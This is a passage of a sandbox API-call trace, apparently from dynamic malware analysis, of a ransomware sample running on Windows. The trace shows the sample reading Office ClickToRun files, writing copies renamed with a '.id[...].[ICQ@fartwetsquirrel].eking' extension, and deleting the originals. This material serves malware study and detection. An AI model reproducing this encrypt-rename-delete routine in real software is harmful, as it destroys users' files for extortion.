nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x406e0, lpOverlapped=0x0) returned 1 [0279.210] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x102, lpOverlapped=0x0) returned 1 [0279.210] CloseHandle (hObject=0x2fc) returned 1 [0279.211] CloseHandle (hObject=0x308) returned 1 [0279.211] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0279.217] SetEvent (hEvent=0x2a0) returned 1 [0279.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0279.218] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1208928) returned 1 [0279.218] CloseHandle (hObject=0x308) returned 1 [0279.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0279.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0279.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0279.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0279.219] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0279.219] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0279.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2fc [0279.220] ReadFile (in: hFile=0x308, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x110100, lpOverlapped=0x0) returned 1 [0279.564] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x110100, lpOverlapped=0x0) returned 1 [0279.862] ReadFile (in: hFile=0x308, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x17160, lpOverlapped=0x0) returned 1 [0280.055] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x17170, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x17170, lpOverlapped=0x0) returned 1 [0280.058] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0280.058] CloseHandle (hObject=0x308) returned 1 [0280.058] CloseHandle (hObject=0x2fc) returned 1 [0280.058] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 1 [0280.062] SetEvent (hEvent=0x2a0) returned 1 [0280.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.064] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=332968) returned 1 [0280.064] CloseHandle (hObject=0x2fc) returned 1 [0280.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0280.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0280.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0280.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.064] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0280.065] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0280.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0280.065] ReadFile (in: hFile=0x2fc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x514a8, lpOverlapped=0x0) returned 1 [0280.096] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x514b0, lpOverlapped=0x0) returned 1 [0280.368] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0280.368] CloseHandle (hObject=0x2fc) returned 1 [0280.368] CloseHandle (hObject=0x308) returned 1 [0280.948] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0280.955] SetEvent (hEvent=0x2a0) returned 1 [0280.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0280.970] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=358616) returned 1 [0280.970] CloseHandle (hObject=0x2dc) returned 1 [0280.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0280.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0280.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0280.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0280.971] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0280.971] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0280.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x30c [0280.971] ReadFile (in: hFile=0x2dc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x578d8, lpOverlapped=0x0) returned 1 [0281.007] WriteFile (in: hFile=0x30c, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x578e0, lpOverlapped=0x0) returned 1 [0281.018] WriteFile (in: hFile=0x30c, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0281.019] CloseHandle (hObject=0x2dc) returned 1 [0281.019] CloseHandle (hObject=0x30c) returned 1 [0281.019] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0281.203] SetEvent (hEvent=0x2a0) returned 1 [0281.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0281.206] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=3144288) returned 1 [0281.206] CloseHandle (hObject=0x30c) returned 1 [0281.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0281.207] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0281.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0281.214] SetEvent (hEvent=0x2a0) returned 1 [0281.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0281.217] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=4677216) returned 1 [0281.217] CloseHandle (hObject=0x30c) returned 1 [0281.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0281.217] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0281.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0281.220] SetEvent (hEvent=0x2a0) returned 1 [0281.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0281.221] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=3177152) returned 1 [0281.221] CloseHandle (hObject=0x30c) returned 1 [0281.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0281.221] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0281.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.223] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0281.223] SetEvent (hEvent=0x2a0) returned 1 [0281.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0281.225] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=9330784) returned 1 [0281.225] CloseHandle (hObject=0x30c) returned 1 [0281.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0281.225] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0281.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0281.229] SetEvent (hEvent=0x2a0) returned 1 [0281.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0281.230] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=61024) returned 1 [0281.230] CloseHandle (hObject=0x30c) returned 1 [0281.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0281.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0281.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0281.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0281.231] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0281.231] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0281.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0281.232] ReadFile (in: hFile=0x30c, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0xee60, lpOverlapped=0x0) returned 1 [0281.239] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xee70, lpOverlapped=0x0) returned 1 [0281.242] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x102, lpOverlapped=0x0) returned 1 [0281.244] CloseHandle (hObject=0x30c) returned 1 [0281.244] CloseHandle (hObject=0x308) returned 1 [0281.244] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0281.248] SetEvent (hEvent=0x2a0) returned 1 [0281.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0281.248] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=660136) returned 1 [0281.248] CloseHandle (hObject=0x308) returned 1 [0281.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0281.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0281.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0281.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 